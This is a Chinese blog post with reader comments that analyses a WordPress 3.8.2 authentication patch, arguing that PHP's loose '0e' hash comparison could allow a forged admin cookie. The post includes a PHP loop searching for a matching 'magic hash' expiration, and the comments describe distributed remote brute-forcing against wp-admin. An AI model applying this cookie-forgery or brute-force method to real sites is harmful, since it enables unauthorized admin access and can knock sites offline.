0x00 背景
看了WordPress 3.8.2补丁分析 HMAC timing attack,眼界大开,原来还可以利用时间差来判断HMAC。
但我总觉得这个漏洞并不是简单的修复这个问题。
查看了官方提供的资料:“该漏洞是由WordPress的安全团队成员Jon Cave发现。”。
也许漏洞还有这样利用的可能。
0x01 PHP的特性
当PHP在进行 ”==”,”!=”等非严格匹配的情况下,会按照值的实际情况,进行强制转换。
#!php
<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true
?>
当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
0x02 分析修复的代码
官方版的diff只在php里改动了一个位置:
#!diff
<?php
- if ( $hmac != $hash ) {
+ if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {
?>
其中$hmac来源于cookies。是我们可控的一个输入参数。
#!php
<?php
Admin|1397564163|1f253e501c301bf5bf293c40d7d92ded
//$username = ‘Admin’;
//$expiration = 1397564163;
//$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
?>
$hash是以下代码生成一个md5值。
#!php
<?php
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
?>
当$hmac == $hash
时,登录成功。
那么,有几种情况会登录成功。
#!php
<?php
//第一种情况,完全相等。
$hmac = ‘1f253e501c301bf5bf293c40d7d92ded’;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第二种情况.第一位为数字,第二位为字母
$hmac = 1;
$hash = ‘1f253e501c301bf5bf293c40d7d92ded’;
//第三种情况。第一位为字母
$hmac = 0;
$hash = ‘af253e501c301bf5bf293c40d7d92ded’;
?>
很明显,第三种出现的情况非常大。
那么我们有没有可能把$hmac构造成一个整数0呢?
0x03 漏洞利用
我们看看cookie解析的代码:
#!php
<?php
$cookie_elements = explode('|', $cookie);
if ( count($cookie_elements) != 3 )
return false;
list($username, $expiration, $hmac) = $cookie_elements;
?>
当我们把cookie设置为:
Admin|1397564163|1
时。$hmac=’1’。但是,$hmac是字符串1,而不是整数1。
#!php
<?php
var_dump($hmac);//string(“1”);
?>
非常遗憾,这个漏洞是不能利用的。
难道官方修复的真的不是这个漏洞?
0x04 柳暗花明又一村
还有什么情况能让字符串识别成整数吗?是的,还有!
#!php
<?php
var_dump("0" == "0e1234567890123456...32"); // true
?>
‘e’会识别为次方,0的N次方为0;
所以,这个漏洞的利用方式还可以是: 让$hmac = ‘0’;
通过改变$expiration来改变$hash。获得一个,第一位为0,第二位为e,后面所有位为数字的$hash.
#!php
<?php
$hmac = ‘0’;
$hash = ‘0e1234567890123456...32’;
var_dump($hmac == $hash); // true
?>
0x05 攻击代码
本地测试代码(实际攻击代码应该是构造cookies远程请求):
#!php
<?php
include( 'wp-load.php' );
$user = get_userdata(1);
$username = $user->user_login;
$pass_frag = substr($user->user_pass, 8, 4);
$expiration = 9999999999; //设置一个很大的过期时间,然后递减
while($expiration >0){
$key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
if('0' == $hash OR '1'== $hash ){
echo $expiration.'@'.$hash;
file_put_contents('done.txt',$expiration.'@'.$hash);
exit();
}
$expiration -= 1;//过期时间-1
echo $expiration.'@'.$hash."\r\n";
}
?>
通过改变过期时间,尝试碰撞到可以利用的hash。
按照理论值。碰撞到可以利用的$expiration几率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。
理论上:把cookies设置成 “admin|碰撞到的过期时间|0”,就可以登陆后台了。
但是几率太小,还不如穷举密码了。
Ps:我本地跑了几个小时了,还没遇到一个。
没看到代码上面的备注吗?
本地测试代码(实际攻击代码应该是构造cookies远程请求)
代码只是想跑出一个hash来证明可以伪造cookie登录。
这个的实战意义何在??
$pass_frag = substr($user->user_pass, 8, 4);
$key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);
hash除了和登录的用户,$expiration有关还和$key有关,而$key产生又和当前登录的密码有关,$pass_frag = substr($user->user_pass, 8, 4)
这样子,要算出满足条件的hash和$expiration,攻击者要要先登录并且知道$pass_frag???这样子的漏洞感觉不到任何实战价值
赞~~
不管是3亿次还是2亿次还是1亿次。穷举密码是肯定出来了,这个就得靠运气了。
是个正常的blog肯定被D死。
@insight-labs 大牛正解,我寫的正好就是head請求到wp_admin/profile.php 然後判斷status code,儘量減少數據用量
提交到/wp-admin/index.php
然后判断HTTP状态码是不是302跳转,这样发送接收的数据最少
这么牛!还分布式!!代码发给我一份吧!邮箱:[email protected],谢谢啦
作者的代码就可以測試,把調用wp_hash改為寫死key然後取hash可以優化一些,然後再分布式到三台電腦上一台一億很快就出來了。我是用python寫的,需要的話我回去發出來。我連多線程分布式遠程的程序都寫了,不過在測試我自己博客的過程中,很快就把自己博客D掛了,意義不大,哈哈
纯字母密码,哈哈,打错成纯数字了
可以分享一下你的测试代码吗,谢啦!
另外作者说本地几个小时没跑出来,肯定是姿势不对,我之前测试了五六次基本都是在半小时内可以跑出来
我来比较下这个与爆破密码的请求次数:
爆破cookie概率 P=3.26526*10^-9 (算法见http://www.freebuf.com/vuls/31770.html)
爆破8位纯字母密码:P=1/26^8
因此平均3亿请求碰撞cookie,而需两千亿请求爆破仅仅八位的纯数字密码。
不知道我有没有算错。。。
这个是指登陆后台还是只要访问了wordpress就会有这个cookie啊?如果我不登陆后台的话可以知道这个hmac吗?是不是这个hmac为任意字符串都行的啊
登录wordpress后,会得到一个这样的cookie。最后那个类似md5的字符串就是hmac。可以自己伪造。
wordpress_logged_in_7065d11a793a3ec8482214fcc4f0a55b=admin|1397480887|1f253e501c301bf5bf293c40d7d92ded
想请教一下那个$hmac具体是怎么得到的呢?
那这样的话远程5亿次……估计爆破密码可能更快点……
嗯,确实是看http://joncave.co.uk/,觉得这个漏洞应该是隐式转换的问题。没想到是timing attack。
概率确实低,理论上,上亿次才能碰撞到一个。。。。
可能我没没说清楚。必须远程尝试,因为$hash是根据用户的密码和AUTH_SALT 生成的。每个wordpress都是不同的。
受教了,php真是门神奇的语言呐~
这个也比较靠谱,可以现在本地计算对应的cookie然后再使用,避免了一次次的远程尝试。
作者应该是追寻这漏洞原作者博客找到的利用思路吧http://joncave.co.uk/,想法其实很不错的,之前也想到了,不过考虑到要求太高前两位必须是0e后面的必须都为数字。所以就没加上,原作者也贴出了此修复主要是为了防御timing attack的攻击方式。https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be 小伙伴研究精神值得鼓励 :)